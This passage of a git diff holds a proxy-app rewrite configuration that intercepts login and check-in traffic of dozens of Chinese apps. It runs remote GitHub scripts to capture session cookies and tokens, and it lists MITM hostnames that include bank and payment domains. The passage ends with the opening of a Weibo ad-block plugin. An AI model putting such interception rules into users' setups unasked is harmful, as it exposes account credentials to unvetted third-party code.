script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/bilibili/bilibili.cookie.js, timeout=60, tag=哔哩哔哩@chavyleung + + + + +# >>>>>>>>>>>>>>> ✅ C ✅ <<<<<<<<<<<<<< +# > CSDN +# hostname = +http-request ^https:\/\/passport.csdn.net\/v2\/api\/app\/login\/checkAndRefreshToken script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/csdn/csdn.cookie.js, timeout=60, tag=CSDN +http-request ^https:\/\/gw.csdn.net\/mini-app\/v2\/lucky_draw\/login\/sign_in\? script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/csdn/csdn.cookie.js, timeout=60, tag=CSDN + +# > 彩云 +# hostname = +http-request ^https?:\/\/api.weather\.com script-path=https://raw.githubusercontent.com/Peng-YM/QuanX/master/Tasks/caiyun.js, timeout=60, tag=彩云 + + + + +# >>>>>>>>>>>>>>> ✅ D ✅ <<<<<<<<<<<<<< +# > 滴滴出行-滴滴果园 获取token +# tips = ddgyToken: 必填,账号token,多账号换行或者@隔开,格式uid&token。uid不可随便填,主要是方便区分账号用 +http-request ^https?:\/\/game\.xiaojukeji\.com\/api\/game\/plant\/newWatering\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js, requires-body=true, timeout=60, tag=滴滴果园获取token + +# > 滴滴打车 +# tips = 微信小程序 -- 滴滴出行, 第一次注册登录后可能需要退出再进一次 +http-response ^https:\/\/epassport\.diditaxi\.com\.cn\/passport\/login\/v5\/signInByOpenid script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js, requires-body=true, timeout=60, tag=滴滴打车 + +# > 抖音 抖抖果园 +# hostname = +http-request ^https://minigame.zijieapi.com/ttgame/game_orchard_ecom/polling_info script-path=https://raw.githubusercontent.com/LinYuanovo/scripts/main/dygy.js, timeout=60, tag=抖音-抖抖果园 + +# > 叮咚买菜 获取cookie +# hostname = +http-request ^https?:\/\/maicai\.api\.ddxq\.mobi\/point\/home\?api_version script-path=https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/dingdong/dingdong_checkin.js, timeout=60, tag=叮咚买菜 + +# > 斗鱼鱼吧 获取cookie +# hostname = +http-request ^https://yuba.douyu.com/wbapi/web/group/myFollow? script-path=https://raw.githubusercontent.com/lowking/Scripts/master/douyu/yubaSign.js, timeout=60, tag=斗鱼鱼吧 + +# > 懂球帝 +# hostname = +http-request ^https:\/\/api\.dongqiudi\.com\/v2\/user\/is_login script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/dongqiudi/dongqiudi.cookie.js, timeout=60, tag=懂球帝 + +# > 叮咚农场 +http-request https:\/\/maicai\.api\.ddxq\.mobi\/user\/checkLogin script-path=https://raw.githubusercontent.com/iepngs/Script/master/dingdong/index.js, timeout=60, tag=叮咚农场 + +# > 叮咚果园 +http-request https:\/\/farm\.api\.ddxq\.mobi\/api\/v2\/props\/feed script-path=https://raw.githubusercontent.com/iepngs/Script/master/dingdong/ddgy.js, timeout=60, tag=叮咚果园获取Cookie + + + +# >>>>>>>>>>>>>>> ✅ E ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ F ✅ <<<<<<<<<<<<<< +# > Fa米家 +# hostname = +http-request ^https?:\/\/fmapp\.chinafamilymart\.com\.cn\/api\/app\/market\/member\/(signin\/usersign|sign\/current) script-path=https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/famijia/famijia_checkin.js, timeout=60, tag=Fa米家-获取cookie + +# > 飞客茶馆 +# hostname = www.flyert.com.cn +http-request ^https?:\/\/www\.flyert\.com\.cn\/api\/mobile\/index\.php\?module=getdata&.* script-path=https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/CheckIn/flyert.js, timeout=60, tag=飞客茶馆获取cookie + +# > 樊登读书 +# hostname = +http-request ^https://api\.dushu\.io/CheckIn script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/fandeng/fandeng.cookie.js, requires-body=true, timeout=60, tag=樊登读书 + + + + +# >>>>>>>>>>>>>>> ✅ G ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ H ✅ <<<<<<<<<<<<<< +# > hifini +# hostname = +http-request https:\/\/www.hifini.com\/my.htm script-path=https://raw.githubusercontent.com/lowking/Scripts/master/hifini/hifiniSign.js, timeout=60, tag=hifini-签到cookie + +# > 合创 +# hostname = +http-request ^https:\/\/wxprdapplet\.gac-nio\.com\/community\/userSignIn\/simpleAuth\/front\/v3\.1\.3\.5\/signV2$ script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/hycan/hycan.cookie.js, timeout=60, tag=合创.cookie + + + + +# >>>>>>>>>>>>>>> ✅ I ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ J ✅ <<<<<<<<<<<<<< +# > 京东 +# hostname = home.m.jd.com, un.m.jd.com, sec.m.jd.com +# 浏览器登录京东,点击右下角我的页面获取 +http-request ^https:\/\/home\.m\.jd\.com\/myJd\/(newhome|home)\.action script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/jingdong/jd_cookie.js, timeout=60, tag=获取京东网页Cookie +http-request ^https:\/\/my\.m\.jd\.com script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/jingdong/jd_cookie.js, timeout=60, tag=获取京东网页Cookie +# 打开京东APP-右上角齿轮设置-点击个人资料 +# http-request ^https:\/\/un\.m\.jd\.com\/cgi-bin\/app\/appjmp\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/jingdong/jd_cookie.js, tag=获取京东APP-Cookie +# 打开京东APP-右上角齿轮设置-点击个人资料-点击账号名 +# http-request ^https:\/\/sec\.m\.jd\.com\/todo\/modifyLoginName\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/jingdong/jd_cookie.js, tag=获取京东APP-Cookie + +# > 京东读书 +# hostname = +http-request ^https:\/\/jdread-api\.jd\.com\/* script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/jddsSign.js, timeout=60, tag=京东读书 + +# > 京东到家 +# hostname = +http-request ^https:\/\/daojia.jd.com/client(.*?)functionId=signin(.*?)userSigninNew script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/jddj/jddj.cookie.js, requires-body=true, timeout=60, tag=京东到家 + +# > 建行生活 +# hostname = +http-request ^https:\/\/yunbusiness\.ccb\.com\/(clp_coupon|clp_service)\/txCtrl\?txcode=(A3341A038|autoLogin) script-path=https://raw.githubusercontent.com/FoKit/Scripts/main/scripts/jhsh_checkIn.js, requires-body=true, timeout=60, tag=建行生活-签到cookie + +# > 柚子快报 +# hostname = +http-request ^http?:\/\/hongbao\.youzikuaibao\.com\/youzi\/* script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/yzkbSign.js, requires-body=true, timeout=60, tag=柚子快报 + +# > 加油广东 +# hostname = +http-request ^https:\/\/m.gdoil.cn\/webapi\/usersign\/addusersign script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/gdoil/gdoil.cookie.js, timeout=60, tag=加油广东 + + + + +# >>>>>>>>>>>>>>> ✅ K ✅ <<<<<<<<<<<<<< +# > 快手果园 +# hostname = +http-request ^https://ug-fission.kuaishou.com/rest/n/darwin/orchard/water/watering script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuaishou/ks_getCookie.js, timeout=60, tag=快手果园-获取cookie + +# > 快看漫画 +# hostname = +http-request ^https:\/\/api\.kkmh\.com\/v\d\/passport\/user script-path=https://raw.githubusercontent.com/NobyDa/Script/master/KuaiKan-DailyBonus/KKMH.js, timeout=60, tag=快看漫画-cookie + + + +# >>>>>>>>>>>>>>> ✅ L ✅ <<<<<<<<<<<<<< +# > Luka 获取cookie +# hostname = +http-request ^https?:\/\/luka\-graphql\.ling\.cn\/graphql\/mobile\?operation=UserInfoWithPendingRobotQuery script-path=https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/luka/luka_signin.js, timeout=60, tag=Luka-获取cookie + + + + +# >>>>>>>>>>>>>>> ✅ M ✅ <<<<<<<<<<<<<< +# > 美团 +# 进入“完善资料”,这一步可以获取到用户ID用于更新多账号信息 +http-response https://open.meituan.com/user/v1/info/auditting script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js, requires-body=true, timeout=60, tag=美团token +# 旧版本 +http-request https://gaea.meituan.com/mapi/usercenter script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js, timeout=60, tag=美团旧版本token + +# > 美团外卖 +# hostname = +http-request ^https:\/\/promotion.waimai.meituan.com\/playcenter\/signIn\/entry script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/wmmeituan/wmmeituan.cookie.js, timeout=60, tag=美团外卖 +http-request ^https:\/\/promotion.waimai.meituan.com\/playcenter\/signIn\/doaction script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/wmmeituan/wmmeituan.cookie.js, requires-body=true, timeout=60, tag=美团外卖 + +# > 慢慢买 +# hostname = +http-request ^https?:\/\/apph5\.manmanbuy\.com\/taolijin\/(login.aspx|logserver.aspx) script-path=https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/manmanbuy/manmanbuy_checkin.js, requires-body=true, timeout=60, tag=慢慢买-获取cookie + +# > 芒果TV +# hostname = +http-request ^https:\/\/credits.bz.mgtv.com\/user\/creditsTake script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/mgtv/mgtv.cookie.js, timeout=60, tag=芒果TV + +# > 米游社 +# hostname = +http-request ^https:\/\/api-takumi.mihoyo.com\/apihub\/api\/getGameList script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/mihoyo/mihoyo.cookie.js, timeout=60, tag=米游社 + +# > 猫咪音乐网 +# hostname = +http-request https:\/\/www.maomicd.com\/plugin.php\?id=k_misign:sign&operation=qiandao script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/maomicd/maomicd.cookie.js, timeout=60, tag=猫咪音乐网 + + + +# >>>>>>>>>>>>>>> ✅ N ✅ <<<<<<<<<<<<<< +# > nga +# hostname = +http-request ^https:\/\/ngabbs.com\/nuke.php\?? script-path=https://raw.githubusercontent.com/chouchoui/QuanX/master/Scripts/nga/nga.cookie.js, requires-body=true, timeout=60, tag=nga.cookie + + + + +# >>>>>>>>>>>>>>> ✅ O ✅ <<<<<<<<<<<<<< + + + + +# >>>>>>>>>>>>>>> ✅ P ✅ <<<<<<<<<<<<<< +# > 拼多多果园 +# hostname = +http-request https://m.pinduoduo.net/proxy/api/api/server/_stm script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/pinduoduo/pdd_getToken.js, timeout=60, tag=拼多多果园 + +# > 朴朴签到cookie +# hostname = +http-request https:\/\/cauth.pupuapi.com\/clientauth\/user\/verify_login script-path=https://raw.githubusercontent.com/lowking/Scripts/master/pupu/pupuCheckIn.js, timeout=60, tag=朴朴签到cookie + + + +# >>>>>>>>>>>>>>> ✅ Q ✅ <<<<<<<<<<<<<< +# > QQ VipCheckIn +# hostname = +http-request https:\/\/proxy.vac.qq.com\/cgi-bin\/srfentry.fcgi? script-path=https://raw.githubusercontent.com/lowking/Scripts/master/QQVip/qqVipCheckIn.js, timeout=60, tag=QQ-VipCheckIn + +# > QQ萌宠 cookie +# hostname = +http-response https:\/\/qqpet.jwetech.com\/api\/authorizations script-path=https://raw.githubusercontent.com/lowking/Scripts/master/QQPet/lkQQPet.js, requires-body=true, timeout=60, tag=QQ萌宠cookie + +# > 汽车之家极速版 +# hostname = +http-request ^https:\/\/mobile\.app\.autohome\.com\.cn\/fasthome\/* script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/qczjSign.js, requires-body=true, timeout=60, tag=汽车之家极速版 +http-request ^http:\/\/mobile\.app\.autohome\.com\.cn\/fasthome\/coin\/* script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/qczjSign.js, requires-body=true, timeout=60, tag=qczjSign + +# > 去哪儿 +# hostname = +http-request ^https:\/\/user.qunar.com\/webapi\/member\/signIndexV2.htm script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/qunar/qunar.cookie.js, timeout=60, tag=去哪儿.cookie + +# > 全民K歌 +# hostname = +http-request ^https://node\.kg\.qq\.com/webapp/proxy? script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/qmkg/qmkg.cookie.js, requires-body=true, timeout=60, tag=全民K歌.cookie + +# > 奇瑞汽车App +# hostname = mobile-consumer-sapp.chery.cn +http-response ^https:\/\/mobile-consumer-sapp\.chery\.cn\/web\/user\/current\/details\? script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js, requires-body=true, timeout=60, tag=奇瑞汽车App获取多账号token + + + +# >>>>>>>>>>>>>>> ✅ R ✅ <<<<<<<<<<<<<< +# > 人人视频 +# hostname = +http-request ^https:\/\/api\.rr\.tv\/user\/profile script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/rrtv/rrtv.cookie.js, timeout=60, tag=人人视频.cookie + + + +# >>>>>>>>>>>>>>> ✅ S ✅ <<<<<<<<<<<<<< +# > 什么值得买 (APP点击个人头像/个人资料获取) +# hostname = +http-request ^https:\/\/user-api\.smzdm\.com\/users\/info script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js, timeout=60, tag=什么值得买 + +# > 顺丰速运 +# tips = 打开小程序或APP-我的-积分, 捉以下几种url之一,把整个url放到变量 sfsyUrl 里,多账号换行分割 +http-request ^https:\/\/mcs-mimp-web\.sf-express\.com\/mcs-mimp\/share\/weChat\/shareGiftReceiveRedirect script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js, timeout=60, tag=顺丰速运顺丰速运 +http-request ^https:\/\/mcs-mimp-web\.sf-express\.com\/mcs-mimp\/share\/app\/shareRedirect script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js, timeout=60, tag=顺丰速运 + +# > 水滴筹 +# hostname = +http-request ^https:\/\/api\.sdbao\.com\/* script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/sdcbxscSign.js, requires-body=true, timeout=60, tag=水滴筹 + +# > 水晶DJ +# hostname = +http-request ^http:\/\/app\.oscaches\.com\/* script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/sjdjSign.js, requires-body=true, timeout=60, tag=水晶DJ + +# > 时光相册 +# hostname = +http-request ^https:\/\/api.everphoto.cn\/users\/self\/checkin\/v2 script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/everphoto/everphoto.cookie.js, timeout=60, tag=时光相册.cookie + +# > 苏宁易购 +# hostname = +http-request ^https:\/\/passport.suning.com\/ids\/login$ script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/suning/suning.cookie.js, requires-body=true, timeout=60, tag=苏宁易购.cookie +http-request ^https:\/\/luckman.suning.com\/luck-web\/sign\/api\/clock_sign.do script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/suning/suning.cookie.js, timeout=60, tag=苏宁易购.cookie +http-request ^https:\/\/sign.suning.com\/sign-web\/m\/promotion\/sign\/doSign.do script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/suning/suning.cookie.js, timeout=60, tag=苏宁易购.cookie +http-request ^https:\/\/gameapi.suning.com\/sngame-web\/(api\/signin\/private\/customerSignOperation.do|gateway\/api\/queryPrize.do) script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/suning/suning.cookie.js, timeout=60, tag=苏宁易购.cookie + + + +# >>>>>>>>>>>>>>> ✅ T ✅ <<<<<<<<<<<<<< +# > 太好购 +# hostname = +http-request ^https:\/\/cxdng\.cpic\.com\.cn\/taieshop\/api\/CustomerFansInfo\/GetFansInfo script-path=https://raw.githubusercontent.com/id77/QuantumultX/master/task/thg.cookie.js, timeout=60, tag=太好购 + +# > 天天挖矿 +# hostname = +http-request ^https:\/\/operation-api\.jimistore\.com\/* script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/ttwbxcxSign.js, requires-body=true, timeout=60, tag=天天挖矿 + +# > 腾讯视频 +# hostname = +http-request ^https:\/\/access.video.qq.com\/user\/auth_refresh script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/videoqq/videoqq.cookie.js, timeout=60, tag=腾讯视频.cookie + + + +# >>>>>>>>>>>>>>> ✅ U ✅ <<<<<<<<<<<<<< + + + +# >>>>>>>>>>>>>>> ✅ V ✅ <<<<<<<<<<<<<< +# > V2EX +# hostname = +http-request ^https:\/\/www\.v2ex\.com\/mission\/daily script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/v2ex/quanx/v2ex.cookie.js, timeout=60, tag=v2ex.cookie + + + + +# >>>>>>>>>>>>>>> ✅ W ✅ <<<<<<<<<<<<<< +# > WPS +# hostname = +http-request ^https:\/\/zt.wps.cn\/2018\/docer_check_in\/api\/act_list script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/wps/wps.cookie.js, timeout=60, tag=wps.cookie + +# > 微博 获取cookie +# hostname = +http-request ^https:\/\/m?api\.weibo\.c(n|om)\/\d\/users\/show script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js, timeout=60, tag=微博-获取cookie +http-request ^https:\/\/api\.weibo\.cn\/\d\/users\/show script-path=https://raw.githubusercontent.com/FoKit/Scripts/main/scripts/weibo_sign.js, timeout=60, tag=微博-获取cookie +http-request ^https:\/\/api\.weibo\.cn\/2\/logservice\/attach script-path=https://raw.githubusercontent.com/FoKit/Scripts/main/scripts/weibo_sign.js, timeout=60, tag=微博-获取cookie +http-request https:\/\/weibo\.com\/p\/aj\/general\/button\?ajwvr=6&api=http:\/\/i\.huati\.weibo\.com\/aj\/super\/checkin script-path=https://raw.githubusercontent.com/lowking/Scripts/master/weibo/weiboSTCookie.js, timeout=60, tag=微博-获取cookie + +# > 吾爱破解 cookie +# hostname = +http-request https:\/\/www\.52pojie\.cn\/home\.php\? script-path=https://raw.githubusercontent.com/NobyDa/Script/master/52pojie-DailyBonus/52pojie.js, timeout=60, tag=吾爱破解cookie + +# > 网易云音乐 +# hostname = +http-request ^https:\/\/music.163.com\/weapi\/user\/level script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/neteasemusic/quanx/neteasemusic.cookie.js, requires-body=true, timeout=60, tag=网易云音乐.cookie + +# > 网易新闻 +# hostname = +http-request ^https:\/\/(.*?)c\.m\.163\.com\/uc\/api\/sign\/v3\/commit script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/neteasenews/neteasenews.cookie.js, requires-body=true, timeout=60, tag=网易新闻.cookie + +# > 网易考拉 +# hostname = +http-request ^https:\/\/m-bean\.kaola\.com/m/point/sign\.html script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/wykl/wykl.cookie.js, requires-body=true, timeout=60, tag=网易考拉.cookie + +# > 微商星球 +# hostname = +http-request ^https:\/\/api\.momosyb\.com\/(v6|v1)\/(fans|user)\/* script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/wsxqSign.js, requires-body=true, timeout=60, tag=微商星球 + +# > 蔚来 +# hostname = +http-request ^https:\/\/app\.nio\.com\/api\/1\/app\/daily_checkin script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/nio/nio.cookie.js, timeout=60, tag=蔚来.cookie + + + +# >>>>>>>>>>>>>>> ✅ X ✅ <<<<<<<<<<<<<< +# > 携程 +# hostname = +http-request ^https:\/\/m\.ctrip\.com\/restapi\/soa2\/14946\/json\/userBaseInfo script-path=https://raw.githubusercontent.com/barrym-chen/Script/master/ctrip/ctrip_cookie.js, timeout=60, tag=携程 + +# > 喜马拉雅 +# hostname = +http-request ^https?:\/\/.*\/mobile\-user\/(v1\/)?homePage\/.* script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/ximalaya/ximalaya.cookie.js, timeout=60, tag=喜马拉雅.cookie + +# > 晓晓优选 +# hostname = xxyx-client-api.xiaoxiaoyouxuan.com +http-response ^https:\/\/xxyx-client-api\.xiaoxiaoyouxuan\.com\/my script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js, requires-body=true, timeout=60, tag=晓晓优选 + + + +# >>>>>>>>>>>>>>> ✅ Y ✅ <<<<<<<<<<<<<< +# > 伊利 +# hostname = +http-request https:\/\/club\.yili\.com\/MALLIFChe\/MCSWSIAPI\.asmx\/Call script-path=https://raw.githubusercontent.com/id77/QuantumultX/master/task/yiLi.cookie.js, requires-body=true, timeout=60, tag=伊利.cookie + + + + +# >>>>>>>>>>>>>>> ✅ Z ✅ <<<<<<<<<<<<<< +# > 中国电信 +# hostname = e.dlife.cn, e.189.cn, wapside.189.cn +http-request ^https:\/\/(e\.189\.cn\/store\/user|open\.e\.189\.cn\/api\/logbox\/oauth2\/loginSubmit\.do) script-path=https://raw.githubusercontent.com/FoKit/Scripts/main/scripts/get_10000_cookie.js, timeout=60, tag=中国电信@FoKit +http-request ^https:\/\/wapside\.189\.cn:9001\/api\/home\/sign script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/10000/10000.cookie.js, requires-body=true, timeout=60, tag=电信营业厅@chavyleung +http-request ^https:\/\/e\.dlife\.cn\/user\/loginMiddle script-path=https://raw.githubusercontent.com/dompling/Script/master/10000/index.js, tag=电信登录地址@dompling + +# > 中国联通 +# hostname = act.10010.com, m.client.10010.com +http-request ^https:\/\/act.10010.com\/SigninApp\/signin\/querySigninActivity.htm script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/10010/10010.cookie.js, timeout=60, tag=中国联通.cookie +http-request ^https:\/\/act.10010.com\/SigninApp(.*?)\/signin\/daySign script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/10010/10010.cookie.js, timeout=60, tag=中国联通.cookie +http-request ^https:\/\/m.client.10010.com\/dailylottery\/static\/(textdl\/userLogin|active\/findActivityInfo) script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/10010/10010.cookie.js, timeout=60, tag=中国联通.cookie +# 打开中国联通app --> 首页的流量查询获取Cookie +http-request ^https?:\/\/m\.client\.10010\.com\/serviceimportantbusiness\/smart\/smartwisdomCommonNew script-path=https://raw.githubusercontent.com/dompling/Script/master/10010/index.js, timeout=60, tag=中国联通.cookie@dompling + +# > 追书畅读版 +# hostname = +http-request ^https:\/\/.+zhuishushenqi\.com\/* script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/zscdbSign.js, requires-body=true, timeout=60, tag=追书畅读版 + +# > 知音漫客 +# hostname = +http-request ^https:\/\/getconfig-globalapi\.zymk\.cn\/app_api\/* script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/zymkSign.js, requires-body=true, timeout=60, tag=知音漫客 + +# > 字幕组 +# hostname = +http-request ^https?:\/\/(www\.)?rrys2020\.com\/?.? script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/zimuzu/zimuzu.cookie.js, timeout=60, tag=字幕组.cookie +http-request ^http:\/\/ios.zmzapi.com\/index.php.*a=(mobile_)?login script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/zimuzu/zimuzu.cookie.js, timeout=60, tag=字幕组.cookie + +# > 智行火车 +# hostname = +http-request ^https:\/\/m\.ctrip\.com/restapi/soa2/14593/json/attendanceDay? script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/zxhc/zxhc.cookie.js, requires-body=true, timeout=60, tag=智行火车.cookie + + +[MITM] +# 去重后的hostname,将对以下域名进行MITM(MAN-IN-THE-MIDDLE:中间人攻击) +hostname = www.flyert.com.cn, mobile-consumer-sapp.chery.cn, xxyx-client-api.xiaoxiaoyouxuan.com, yunbusiness.ccb.com, home.m.jd.com, un.m.jd.com, sec.m.jd.com, api.m.jd.com, ms.jr.jd.com, jdread-api.jd.com, me-api.jd.com, wq.jd.com, daojia.jd.com, testflight.apple.com, farm.api.ddxq.mobi, user-api.smzdm.com, luka-graphql.ling.cn, fmapp.chinafamilymart.com.cn, apph5.manmanbuy.com, www.hifini.com, cauth.pupuapi.com, qqpet.jwetech.com, rewards.bing.com, auth.alipan.com, auth.aliyundrive.com, draw.jdfcloud.com, api.momosyb.com, passport.iqiyi.com, account.huami.com, api.dongqiudi.com, act.10010.com, wox2019.woxshare.com, www.52pojie.cn, api.prize.qq.com, eventv3.reader.qq.com, api.tuhu.cn, gameapi.hellobike.com, xiaoshuo.qm989.com, passport.biligame.com, cxdng.cpic.com.cn, teacherapi.zmlearn.com, luckman.suning.com, api.dushu.io, api.xiaoheihe.cn, api.inews.qq.com, zt.wps.cn, m.client.10010.com, m.ctrp.com, activity.m.duiba.com.cn, as.xiaojukeji.com, www.maomicd.com, h5.youzan.com, node.kg.qq.com, manga.bilibili.com, ios.baertt.com, www.mydigit.cn, proxy.vac.qq.com, wx-mini.pagoda.com.cn, m.weibo.cn, *.acfun.cn, *.rrys2019.com, *.bilibili.com, club.yili.com, marketappapi.biyao.com, commontgw6.reader.qq.com, *.ctrp.com, *.csdn.net, www.duokan.com, ngabbs.com, note.youdao.com, h5.bianlifeng.com, kd.youth.cn, activity-1.m.duiba.com.cn, cloud.umetrip.com, hongbao.youzikuaibao.com, air.tb.ele.me, *.xmcimg.com, m.ctrip.com, user.qunar.com, mcs-mimp-web.sf-express.com, tb.ele.me, dominos0724.shjimang.com, h5.ele.me, my.ruanmei.com, promotion.waimai.meituan.com, www.2xtj7.cn, mall.oclean.com, apk.tw, user-api-prd-mx.wandafilm.com, *.youth.cn, wq.02gk.com, iphone.myzaker.com, apiwz.midukanshu.com, api.1sapp.com, nebula.kuaishou.com, api.weibo.cn, yuba.douyu.com, *.ximalaya.com, *.zhuishushenqi.com, sf-integral-sign-in.weixinjia.net, epassport.diditaxi.com.cn, *.m.163.com, e.dlife.cn, open.e.189.cn, e.189.cn, wapside.189.cn, api.kkmh.com, *.rr.tv, gameapi.suning.com, *.you.163.com, app.oscaches.com, exp.angelalign.com, getconfig-globalapi.zymk.cn, mall.meituan.com, game.xiaojukeji.com, api.infzm.com, *.v2ex.com, *.rrys2020.com, pay.sc.weibo.com, app.nio.com, music.163.com, studygolang.com, kandian.wkandian.com, ifac*.iqiyi.com, ug-fission.kuaishou.com, passport.suning.com, tncj.hortorgames.com, credits.bz.mgtv.com, c.tieba.baidu.com, api.sdbao.com, 113.96.156.178, wxavip-up.ezrpro.cn, *.video.qq.com, j1.pupuapi.com, tieba.baidu.com, wx.17u.cn, www.baimaa.com, frodo.douban.com, m-bean.kaola.com, 110.43.90.61, newsapi.sina.cn, i.meituan.com, wxprdapplet.gac-nio.com, icbc1.wlphp.com:8444, ios-fenqu11.lxsjgo.com, sapi.beingfine.cn, *.feng.com, www.hnmiaosu.cc, clientaccess.10086.cn, mobile.app.autohome.com.cn, ph0001.hezyq.com, api.everphoto.cn, api-takumi.mihoyo.com, sports.lifesense.com, superapp.kiwa-tech.com, api.weather.com, sign.suning.com, qqpet.jwetech.com, m.elong.com, webapi.qmai.cn, mwegame.qq.com, activity.m.kuaishou.com, mobwsa.ximalaya.com, proapi.115.com, youhui.95516.com, www.xiaodouzhuan.cn, *.smzdm.com, app.ymatou.com, operation-api.jimistore.com, www.flyertea.com, api.cashtoutiao.com, choujiang-server.deering.cn, maicai.api.ddxq.mobi, minigame.zijieapi.com, appsmall.rtmap.com, m.gdoil.cn, weibo.com, ios.zmzapi.com diff --git a/Loon/plugin/weibo.plugin b/Loon/plugin/weibo.plugin new file mode 100644 index 00000000..8618e6a7 --- /dev/null +++ b/Loon/plugin/weibo.plugin @@ -0,0 +1,147 @@ +#!name=微博去广告&净化 +#!desc=去除常见的广告和部分多余的模块 +#!author=奶思[https://github.com/fmz200] +#!homepage=https://github.com/fmz200/wool_scripts +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-00.png +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/Loon/plugin/weibo.plugin +#!tg-group=https://t.me/lanjieguanggao +#!category=奶思的模块 +#!tag = 去广告, 微博, fmz200 +#!system = iOS, iPadOS +#!system_version = +#!loon_version = +#!date=2025-06-29 23:00:00 +############################################# +# > "reject" 策略返回 HTTP 状态码 404,不附带任何额外内容 +# > "reject-200" 策略返回 HTTP 状态码 200,不附带任何额外内容 +# > "reject-img" 策略返回 HTTP 状态码 200,同时附带 1px gif +# > "reject-dict" 策略返回 HTTP 状态码 200,同时附带一个空的 JSON 对象 +# > "reject-array" 策略返回 HTTP 状态码 200,同时附带一个空的 JSON 数组 +# > "reject-drop" 拒绝并丢弃请求,且不会返回任何响应。 +############################################# + +[Argument] +MainTabFilter = switch,true,false,tag = 顶部 Tab 过滤,desc = 顶部 Tab 过滤 +RemoveDiscoveryAds = switch,true,false,tag = 移除发现页广告,desc = 移除微博发现页广告 +RemoveHotSearchAds = switch,true,false,tag = 热搜广告,desc = 移除微博热搜页面广告 +RemoveTopicAds = switch,true,false,tag = 话题广告,desc = 移除微博话题页面广告 +RemoveSuperTopicAds = switch,true,false,tag = 超话广告,desc = 移除微博超话页面广告 +CleanSuperTopicTab = switch,true,false,tag = 超话 tab 净化,desc = 净化微博超话 tab 页面 +RemoveCommentAds = switch,true,false,tag = 评论区去广告,desc = 移除微博评论区广告 +RemoveDetailAds = switch,true,false,tag = 详情页广告,desc = 移除微博详情页面广告 +RemoveRepostAds = switch,true,false,tag = 转发评论广告,desc = 移除微博转发评论区广告 +FullAdsCleaner = switch,true,false,tag = 全功能去广告,desc = 微博多页面广告清理 +CustomTabSkin = switch,true,false,tag = 自定义 tab 皮肤,desc = 微博自定义 tab 皮肤 +SetTabSkinWithoutVip 